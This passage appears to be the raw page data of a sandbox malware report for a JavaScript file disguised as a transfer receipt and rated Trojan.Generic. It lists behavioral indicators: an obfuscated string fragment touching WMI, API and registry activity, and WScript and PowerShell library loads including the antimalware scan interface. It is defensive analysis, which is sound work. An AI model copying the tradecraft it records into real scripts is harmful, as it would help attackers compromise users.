24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 44:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T495,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 96e2c8aba36c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 96e2c8aba36c…. Malware family: Trojan.Generic. Threat score 100/100. 9/24 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/96e2c8aba36cb2e7d744ae2e982ce3653ffc02f05a8558d8b5f3ee35dbf2bd12","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","96e2c8aba36cb2e7d744ae2e982ce3653ffc02f05a8558d8b5f3ee35dbf2bd12"],"about":{"@type":"SoftwareApplication","name":"Instant Transfer Receipt.js","applicationCategory":["script","javascript"],"identifier":"96e2c8aba36cb2e7d744ae2e982ce3653ffc02f05a8558d8b5f3ee35dbf2bd12","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":24},"behavioralIndicators":{"malicious":6,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T426,Found string " _0x46bef1[_0xcc55da(0x13a)], _0x46bef1[_0xcc55da(0x28a)], _0x46bef1[_0x423581(0x1f4)], _0x46bef1[_0x2553be(0x19d)], _0x46bef1['HMzzE'], _0x46bef1[_0x423581(0x18f)], _0x46bef1[_0xcc55da(0x29c)], _0x46bef1['WfaaC'], _0x46bef1[_0x104789(0x31a)], _0x46bef1[_0x20b238(0x137)], _0x46bef1[_0x3e41df(0x12e)], _0x104789(0x2e0), _0x46bef1[_0x3e41df(0x12f)], 'winmgmts:\x5c\x5c.\x5croot\x5ccimv2', _0x46bef1['LwLAZ'], _0x3b0c7c(0x143), _0x46bef1[_0x3b0c7c(0x2c6)], _0x46bef1[_0x1b551b(0x321)], _0x46bef1[_0x3b0c7c(0x1a6)], _0x46bef1[_0x1971f3(0x1c8)], _0x2553be(0x12d), _0x46bef1['FTJRw'], _0x2553be(0x21d), _0x46bef1[_0x44c1ba(0x2c2)], _0x423581(0x272), 'KbNdC', _0x46bef1['qXQOg'], " (Indicator: "winmgmts:"; in Source: "sample.bin")26:T40a,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp")27:T756,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp")28:T4ae,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WINMGMTS\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINMGMTS\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\INPROCSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\INPROCSERVER32") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\INPROCSERVER32") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\INPROCSERVER32")29:Tbba,Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp")2a:T162d,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac3747fa7f0000000000000000000051ed2849fa7f000000000000e5020000000000000000000091f7d504f1cd00002a00000000000000a053626fe50200008fec2849fa7f0000e0ac3747fa7f0000e0ac3747fa7f0000000000000000000000000000fa7f0000ffffff7fd30f000000000000000000000000000000000000d8ce2b47fa7f00002a0000000000000069c3e446fa7f00003100000000000000e802000000000000ec02000000000000110001100000000030ce6fe2fd00000003a3a746fa7f000030ce6fe2fd00000000000000000000002b00000000000000000000000000000020b0ea46fa7f0000b43fe946fa7f0000e0ce2b47 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000038000000000000000000816fe502000032892649fa7f0000400000000000000000000000fa7f0000380000000000000000000000fa7f0000f800a221fa7f0000d065666fe5020000e1b56fe2fd00000002000000000000000000000000000000000000000000000040115a6fe502000000000000e502000000005a6fe5020000f03a686fe50200000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000842686fe502000004000000000000003800000000000000f098a646fa7f00003800000000000000380000000000000090b66fe2fd000000c00caf21fa7f000000000000 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0832dfa7f0000070000000000000000000000000000000100000000000000b004c371e50200000000000000000000e0e1c671e50200004c98a646fa7f0000b018c571e5020000b3cea521fa7f000060e8c671e5020000004f832dfa7f0000d0b0832dfa7f00000000000000000000000000000000000060e8c671e5020000b004c371e5020000e063c471e5020000e8b66fe2fd0000004c98a646fa7f00000100000000000000e8b66fe2fd000000e063c471e502000060e8c671e5020000010000000000000002bca521fa7f000030e8c671e50200002035c571e5020000feffffff040000007df0822dfa7f0000c060c471 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000b004c371e50200000000000000000000e0e1c671e50200004c98a646fa7f0000b00dc571e5020000b3cea521fa7f0000a0e4c671e5020000384f832dfa7f0000d0b0832dfa7f000000000000000000000000000000000000a0e4c671e5020000b004c371e5020000e063c471e5020000e0b66fe2fd0000004c98a646fa7f00000100000000000000e0b66fe2fd000000e063c471e5020000a0e4c671e5020000010000000000000002bca521fa7f000000000000000000002035c571e502000030e8c67104000000feffffffffffffffb004c371e50200007df0822dfa7f000000000000 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000ac6c6fe2fd0000001000000000000400fa448e46373100000000000000000000000000000000000098eda448fa7f0000807c6fe2fd00000020e5ab48fa7f00000000000000000000c87a6fe2fd00000000000000000000000000000000000000f0796fe2fd00000080d08348fa7f0000000000000000000008796fe2fd00000000000000050007001a0100000000000098eda448fa7f000030796fe2fd000000f87e6fe2fd0000006068d272e502310000000000000000003600310030003000310000000900000000000000000000000000000000000000b0746fe2fd000000a14ed504f1cd0000040100000000000010806fe2 (UID: 00000000-00002468) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000098afffe2fd00000000000000000000000c00000000000000c000000000000000ac0000000000000000005f6fe502000032892649fa7f000040000000f1cd000000000000fd000000ac0000000000000000000000fd00000028afffe2fd00000003000000000000008a0000000000000002000000fa7f0000b0abffe2fd00000019de2449fa7f000080abffe2fd000000b0abffe2fd00000080abffe2fd0000008a00000000000000919c4504f1cd000002000000000000000000000000000000b0acffe2fd00000098afffe2fd00000003000000000000008a00000000000000d6672649fa7f00000000000000000000fffffffffa7f000000000000 (UID: 00000000-00002468)2b:Ta42,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000030162849fa7f0000650c0000000000000000e158f67f0000060000000000000018000000000000000000000000000000000000000000000091c2d504f1cd00001d435d0de80400000000000000000000f5a8fe2cfa7f000006000000e50200001f000000000000000f00100000000000e06a606fe502000000000000 (UID: 00000000-00002468) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000c00000002000000010100008c000000d545f34eb3e2000000000000000000004cf36fe2fd00000000000000000000004ef73f46fa7f00004cf36fe2fd0000000000000000000000000000000000000099ddbc46fa7f00000000000000000000f0ec6fe2fd00000000ed6fe2fd00000001000000fd00000000000000 (UID: 00000000-00002468) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b4046fa7f00000000902cfa7f0000000000000000000000000000000000000806912cfa7f00000001000000000000f098a646fa7f00000001000000000000000100000000000000000000000000000006912cfa7f000001000000000000000f18902cfa7f000000000000000000000006912cfa7f000000000000 (UID: 00000000-00002468) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c319c2bfa7f0000708b9e2bfa7f00000200000000000000708b9e2bfa7f000000000000000000000300000000000000b1319c2bfa7f0000a8159f2bfa7f000010ca816fe502000020ca816fe5020000888b9e2bfa7f00000100000000000000239fa846fa7f00000000000000000000888b9e2bfa7f000006000000 (UID: 00000000-00002468) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303dd626fa7f0000c0fed726fa7f00000400000000000000c0fed726fa7f000000000000000000000500000000000000453dd626fa7f0000286ad826fa7f0000be5a4146fa7f000038ebd872e50200005806d826fa7f0000b08e4146fa7f0000239fa846fa7f00000100000000000000d132d626fa7f000000000000 (UID: 00000000-00002468) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000300000000000000000008122fa7f000000000000000000000000000000000000883f8222fa7f00000001000000000000f098a646fa7f0000000100000000000000010000000000000000000000000000803f8222fa7f00000100000000000000bf108122fa7f00000000000000000000803f8222fa7f0000e522f34e (UID: 00000000-00002468) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000004d0049004e004700500052004f00460049004c0045003d004400450053004b0054004f0050002d004600560056004600380032004100000055005300450052004e0041004d0045003d0066007700610077004d004100630000005500530045005200500052004f00460049004c0045003d0043003a005c00550073006500 (UID: 00000000-00005784)2c:T60f,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2d:T376b,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002468) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002468) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005784) "powershell.exe" called "LoadLibrary" with a parameter 